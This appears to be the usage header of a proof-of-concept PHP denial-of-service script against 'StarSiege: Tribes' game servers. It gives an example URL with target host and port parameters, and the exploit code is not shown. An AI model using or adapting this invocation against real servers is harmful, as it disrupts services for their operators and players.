Purpose: POC "StarSiege: Tribes" DoS

Usage: Call it from a browser once its uploaded on a server
with PHP installed:

http://host/byebye_tribes.php?host=127.0.0.1&port=28001

Note - global variables must be enabled in php.ini (yes... I 
know thats bad too)

Stuff:
Yeah... too lazy to fine tune it, maybe someone else can
throw in HTML forms to give it a little interface ;-).
